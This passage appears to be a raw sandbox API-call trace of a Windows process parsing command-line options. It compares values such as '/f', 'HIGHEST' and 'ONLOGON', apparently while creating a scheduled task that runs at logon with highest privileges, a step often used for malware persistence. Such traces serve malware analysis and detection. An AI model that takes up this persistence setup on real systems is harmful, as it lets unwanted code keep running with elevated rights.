_Size=0x7) returned 0 [0077.336] lstrlenW (lpString="f") returned 1 [0077.336] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.336] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|mo|") returned 4 [0077.336] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.336] lstrlenW (lpString="|mo|") returned 4 [0077.336] lstrlenW (lpString="|f|") returned 3 [0077.336] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0077.336] SetLastError (dwErrCode=0x490) [0077.336] lstrlenW (lpString="d") returned 1 [0077.336] lstrlenW (lpString="d") returned 1 [0077.336] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.336] lstrlenW (lpString="f") returned 1 [0077.336] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.336] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|d|") returned 3 [0077.336] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.336] lstrlenW (lpString="|d|") returned 3 [0077.336] lstrlenW (lpString="|f|") returned 3 [0077.336] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0077.336] SetLastError (dwErrCode=0x490) [0077.336] lstrlenW (lpString="m") returned 1 [0077.336] lstrlenW (lpString="m") returned 1 [0077.336] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.336] lstrlenW (lpString="f") returned 1 [0077.336] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.337] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|m|") returned 3 [0077.337] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.337] lstrlenW (lpString="|m|") returned 3 [0077.337] lstrlenW (lpString="|f|") returned 3 [0077.337] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0077.337] SetLastError (dwErrCode=0x490) [0077.337] lstrlenW (lpString="i") returned 1 [0077.337] lstrlenW (lpString="i") returned 1 [0077.337] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.337] lstrlenW (lpString="f") returned 1 [0077.337] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.337] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|i|") returned 3 [0077.337] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.337] lstrlenW (lpString="|i|") returned 3 [0077.337] lstrlenW (lpString="|f|") returned 3 [0077.337] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0077.337] SetLastError (dwErrCode=0x490) [0077.337] lstrlenW (lpString="tn") returned 2 [0077.337] lstrlenW (lpString="tn") returned 2 [0077.337] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.337] lstrlenW (lpString="f") returned 1 [0077.337] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.337] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.338] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.338] lstrlenW (lpString="|tn|") returned 4 [0077.338] lstrlenW (lpString="|f|") returned 3 [0077.338] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0077.338] SetLastError (dwErrCode=0x490) [0077.338] lstrlenW (lpString="tr") returned 2 [0077.338] lstrlenW (lpString="tr") returned 2 [0077.338] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.338] lstrlenW (lpString="f") returned 1 [0077.338] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.338] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.338] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.338] lstrlenW (lpString="|tr|") returned 4 [0077.338] lstrlenW (lpString="|f|") returned 3 [0077.338] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0077.338] SetLastError (dwErrCode=0x490) [0077.338] lstrlenW (lpString="st") returned 2 [0077.338] lstrlenW (lpString="st") returned 2 [0077.338] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.338] lstrlenW (lpString="f") returned 1 [0077.338] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.338] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|st|") returned 4 [0077.338] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.338] lstrlenW (lpString="|st|") returned 4 [0077.338] lstrlenW (lpString="|f|") returned 3 [0077.339] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0077.339] SetLastError (dwErrCode=0x490) [0077.339] lstrlenW (lpString="sd") returned 2 [0077.339] lstrlenW (lpString="sd") returned 2 [0077.339] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.339] lstrlenW (lpString="f") returned 1 [0077.339] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.339] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sd|") returned 4 [0077.339] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.339] lstrlenW (lpString="|sd|") returned 4 [0077.339] lstrlenW (lpString="|f|") returned 3 [0077.339] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0077.339] SetLastError (dwErrCode=0x490) [0077.339] lstrlenW (lpString="ed") returned 2 [0077.339] lstrlenW (lpString="ed") returned 2 [0077.339] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.339] lstrlenW (lpString="f") returned 1 [0077.339] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.339] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|ed|") returned 4 [0077.339] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.339] lstrlenW (lpString="|ed|") returned 4 [0077.339] lstrlenW (lpString="|f|") returned 3 [0077.339] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0077.339] SetLastError (dwErrCode=0x490) [0077.339] lstrlenW (lpString="it") returned 2 [0077.339] lstrlenW (lpString="it") returned 2 [0077.340] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.340] lstrlenW (lpString="f") returned 1 [0077.340] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.340] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|it|") returned 4 [0077.340] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.340] lstrlenW (lpString="|it|") returned 4 [0077.340] lstrlenW (lpString="|f|") returned 3 [0077.340] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0077.340] SetLastError (dwErrCode=0x490) [0077.340] lstrlenW (lpString="et") returned 2 [0077.340] lstrlenW (lpString="et") returned 2 [0077.340] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.340] lstrlenW (lpString="f") returned 1 [0077.340] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.340] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|et|") returned 4 [0077.340] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.340] lstrlenW (lpString="|et|") returned 4 [0077.340] lstrlenW (lpString="|f|") returned 3 [0077.340] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0077.340] SetLastError (dwErrCode=0x490) [0077.340] lstrlenW (lpString="k") returned 1 [0077.340] lstrlenW (lpString="k") returned 1 [0077.340] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.340] lstrlenW (lpString="f") returned 1 [0077.340] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.340] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|k|") returned 3 [0077.340] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.340] lstrlenW (lpString="|k|") returned 3 [0077.340] lstrlenW (lpString="|f|") returned 3 [0077.340] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0077.341] SetLastError (dwErrCode=0x490) [0077.341] lstrlenW (lpString="du") returned 2 [0077.341] lstrlenW (lpString="du") returned 2 [0077.341] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.341] lstrlenW (lpString="f") returned 1 [0077.341] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.341] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|du|") returned 4 [0077.341] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.341] lstrlenW (lpString="|du|") returned 4 [0077.341] lstrlenW (lpString="|f|") returned 3 [0077.341] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0077.341] SetLastError (dwErrCode=0x490) [0077.341] lstrlenW (lpString="ri") returned 2 [0077.341] lstrlenW (lpString="ri") returned 2 [0077.341] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.341] lstrlenW (lpString="f") returned 1 [0077.341] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.341] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|ri|") returned 4 [0077.341] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.341] lstrlenW (lpString="|ri|") returned 4 [0077.341] lstrlenW (lpString="|f|") returned 3 [0077.341] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0077.341] SetLastError (dwErrCode=0x490) [0077.341] lstrlenW (lpString="z") returned 1 [0077.341] lstrlenW (lpString="z") returned 1 [0077.341] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.342] lstrlenW (lpString="f") returned 1 [0077.342] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.342] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|z|") returned 3 [0077.342] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.342] lstrlenW (lpString="|z|") returned 3 [0077.342] lstrlenW (lpString="|f|") returned 3 [0077.342] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0077.342] SetLastError (dwErrCode=0x490) [0077.342] lstrlenW (lpString="f") returned 1 [0077.342] lstrlenW (lpString="f") returned 1 [0077.342] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.342] lstrlenW (lpString="f") returned 1 [0077.342] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.342] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.342] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|f|") returned 3 [0077.342] lstrlenW (lpString="|f|") returned 3 [0077.342] lstrlenW (lpString="|f|") returned 3 [0077.342] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0077.342] SetLastError (dwErrCode=0x0) [0077.342] SetLastError (dwErrCode=0x0) [0077.342] GetProcessHeap () returned 0x3a0000 [0077.342] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bce70 [0077.342] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.342] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0077.342] lstrlenW (lpString="LIMITED") returned 7 [0077.343] GetProcessHeap () returned 0x3a0000 [0077.343] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x10) returned 0x3bd6a0 [0077.343] GetThreadLocale () returned 0x409 [0077.343] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0077.343] GetProcessHeap () returned 0x3a0000 [0077.343] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bce40 [0077.343] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.343] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0077.343] lstrlenW (lpString="HIGHEST") returned 7 [0077.343] GetProcessHeap () returned 0x3a0000 [0077.343] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x10) returned 0x3bd6c0 [0077.343] GetThreadLocale () returned 0x409 [0077.343] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0077.343] GetProcessHeap () returned 0x3a0000 [0077.343] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bce10 [0077.343] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.343] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0077.343] lstrlenW (lpString="MINUTE") returned 6 [0077.343] GetProcessHeap () returned 0x3a0000 [0077.343] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0xe) returned 0x3bd6e0 [0077.343] GetThreadLocale () returned 0x409 [0077.343] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0077.343] GetProcessHeap () returned 0x3a0000 [0077.343] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcde0 [0077.344] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.344] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0077.344] lstrlenW (lpString="HOURLY") returned 6 [0077.344] GetProcessHeap () returned 0x3a0000 [0077.344] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0xe) returned 0x3bd700 [0077.344] GetThreadLocale () returned 0x409 [0077.344] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0077.344] GetProcessHeap () returned 0x3a0000 [0077.344] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcdb0 [0077.344] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.344] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0077.344] lstrlenW (lpString="DAILY") returned 5 [0077.344] GetProcessHeap () returned 0x3a0000 [0077.344] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0xc) returned 0x3bd720 [0077.344] GetThreadLocale () returned 0x409 [0077.344] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0077.344] GetProcessHeap () returned 0x3a0000 [0077.344] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcd80 [0077.344] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.344] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0077.344] lstrlenW (lpString="WEEKLY") returned 6 [0077.344] GetProcessHeap () returned 0x3a0000 [0077.344] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0xe) returned 0x3bd740 [0077.344] GetThreadLocale () returned 0x409 [0077.344] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0077.344] GetProcessHeap () returned 0x3a0000 [0077.344] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcd50 [0077.345] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.345] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0077.345] lstrlenW (lpString="MONTHLY") returned 7 [0077.345] GetProcessHeap () returned 0x3a0000 [0077.345] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x10) returned 0x3bd760 [0077.345] GetThreadLocale () returned 0x409 [0077.345] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0077.345] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.345] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0077.345] lstrlenW (lpString="ONCE") returned 4 [0077.345] GetProcessHeap () returned 0x3a0000 [0077.345] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0xa) returned 0x3bd780 [0077.345] GetThreadLocale () returned 0x409 [0077.345] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0077.345] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.345] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0077.345] lstrlenW (lpString="ONSTART") returned 7 [0077.345] GetThreadLocale () returned 0x409 [0077.345] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0077.345] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.345] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0077.345] lstrlenW (lpString="ONLOGON") returned 7 [0077.345] GetThreadLocale () returned 0x409 [0077.345] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0077.346] SetLastError (dwErrCode=0x0) [0077.346] GetProcessHeap () returned 0x3a0000 [0077.346] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x1fc) returned 0x3bc510 [0077.346] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.346] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0077.346] lstrlenW (lpString="First") returned 5 [0077.346] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.346] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0077.346] lstrlenW (lpString="Second") returned 6 [0077.346] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.346] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0077.346] lstrlenW (lpString="Third") returned 5 [0077.346] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.346] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0077.346] lstrlenW (lpString="Fourth") returned 6 [0077.346] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.346] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0077.346] lstrlenW (lpString="Last") returned 4 [0077.346] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.346] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0077.346] lstrlenW (lpString="First") returned 5 [0077.346] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.347] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0077.347] lstrlenW (lpString="Second") returned 6 [0077.347] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.347] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0077.347] lstrlenW (lpString="Third") returned 5 [0077.347] GetProcessHeap () returned 0x3a0000 [0077.347] GetProcessHeap () returned 0x3a0000 [0077.347] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd780) returned 1 [0077.347] GetProcessHeap () returned 0x3a0000 [0077.347] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd780) returned 0xa [0077.347] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd780 | out: hHeap=0x3a0000) returned 1 [0077.347] GetProcessHeap () returned 0x3a0000 [0077.347] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0xc) returned 0x3bd780 [0077.347] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.347] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0077.347] lstrlenW (lpString="Fourth") returned 6 [0077.347] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.347] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0077.347] lstrlenW (lpString="Last") returned 4 [0077.347] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c560, cchData=128 | out: lpLCData="0") returned 2 [0077.348] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.348] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0077.348] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0077.348] GetProcessHeap () returned 0x3a0000 [0077.348] GetProcessHeap () returned 0x3a0000 [0077.348] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd6a0) returned 1 [0077.348] GetProcessHeap () returned 0x3a0000 [0077.348] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd6a0) returned 0x10 [0077.348] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd6a0 | out: hHeap=0x3a0000) returned 1 [0077.348] GetProcessHeap () returned 0x3a0000 [0077.348] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x16) returned 0x3bd6a0 [0077.348] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c580, cchData=128 | out: lpLCData="0") returned 2 [0077.348] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.348] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0077.348] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0077.348] GetProcessHeap () returned 0x3a0000 [0077.348] GetProcessHeap () returned 0x3a0000 [0077.348] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd6c0) returned 1 [0077.348] GetProcessHeap () returned 0x3a0000 [0077.348] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd6c0) returned 0x10 [0077.348] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd6c0 | out: hHeap=0x3a0000) returned 1 [0077.348] GetProcessHeap () returned 0x3a0000 [0077.348] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x16) returned 0x3bd6c0 [0077.348] GetLocalTime (in: lpSystemTime=0x27c7b0 | out: lpSystemTime=0x27c7b0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x1, wMilliseconds=0x2c2)) [0077.349] GetLocalTime (in: lpSystemTime=0x27d068 | out: lpSystemTime=0x27d068*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x1, wMilliseconds=0x2c2)) [0077.349] lstrlenW (lpString="") returned 0 [0077.349] lstrlenW (lpString="") returned 0 [0077.349] lstrlenW (lpString="") returned 0 [0077.349] lstrlenW (lpString="") returned 0 [0077.349] lstrlenW (lpString="") returned 0 [0077.349] lstrlenW (lpString="") returned 0 [0077.349] lstrlenW (lpString="") returned 0 [0077.349] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0077.371] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0077.446] CoCreateInstance (in: rclsid=0xff9d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, 